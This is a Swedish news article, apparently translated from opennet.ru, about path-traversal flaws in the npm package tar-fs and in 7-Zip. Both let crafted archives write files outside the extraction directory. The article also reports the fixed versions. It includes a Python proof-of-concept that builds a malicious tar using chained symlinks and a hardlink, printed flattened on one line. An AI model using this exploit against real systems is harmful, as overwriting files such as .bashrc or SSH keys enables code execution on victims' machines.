SÄrbarheter i tar-fs och 7-Zip som gör det möjligt att skriva filer utanför grundkatalogen

I NPM-paketet tar-fs har en sÄrbarhet identifierats (CVE-2025-48387) som gör det möjligt att skriva filer till valfria delar av filsystemet vid extrahering av ett speciellt formaterat tar-arkiv, utan begrÀnsning till den katalog dÀr extraheringen sker (beroende pÄ rÀttigheterna för den aktuella anvÀndaren). SÄrbarheten kan ocksÄ anvÀndas för att skriva över befintliga filer, till exempel för att köra egen kod i systemet kan filer som «.ssh/id_rsa» eller «.bashrc» i anvÀndarens hemkatalog skrivas över.

Problemet har tilldelats en kritisk fara med hÀnsyn till att paketet tar-fs har 23 miljoner nedladdningar i veckan och anvÀnds som beroende i 1155 projekt. SÄrbarheten ÄtgÀrdades i versioner 3.0.9, 2.1.3 och 1.16.5, som slÀpptes i maj, men information om sÄrbarheten offentliggjordes först nÀstan 3 mÄnader senare.

SÄrbarheten orsakas av otillrÀckliga kontroller av symboliska och hÄrda lÀnkar som finns i arkivet för att se om de gÄr utanför den avsedda katalogen för extrahering. För att kringgÄ kontrollerna anvÀnds tvÄ symboliska lÀnkar: den första pekar pÄ roten av den katalog dÀr arkivet extraheras («.»), och den andra skapas relativt till den första symboliska lÀnken och anvÀnder tecknen «../» i sitt namn för att gÄ utanför grundkatalogen. Till exempel pekar den första lÀnken «noop/noop/noop» pÄ «.», medan den andra «noop/noop/noop/../../../..» utvidgas till «./../../../..». För att Ästadkomma filöverskrivning i arkivet kan en hÄrd lÀnk skapas som hÀnvisar till en extern fil relativt den andra symboliska lÀnken. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

En liknande sÄrbarhet (CVE-2025-55188) har identifierats i komprimeringsverktyget 7-Zip. För att skriva filer utanför grundkatalogen i 7-Zip kan ocksÄ symboliska lÀnkar anvÀndas, som innehÄller sekvensen «..\/» i filvÀgen. Problemet kan utnyttjas vid dekomprimering med 7-Zip av vilken komprimerad fil som helst som stöder symboliska lÀnkar, till exempel zip, tar, 7z och rar. Problemet har ÄtgÀrdats i version 7-Zip 25.01.

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster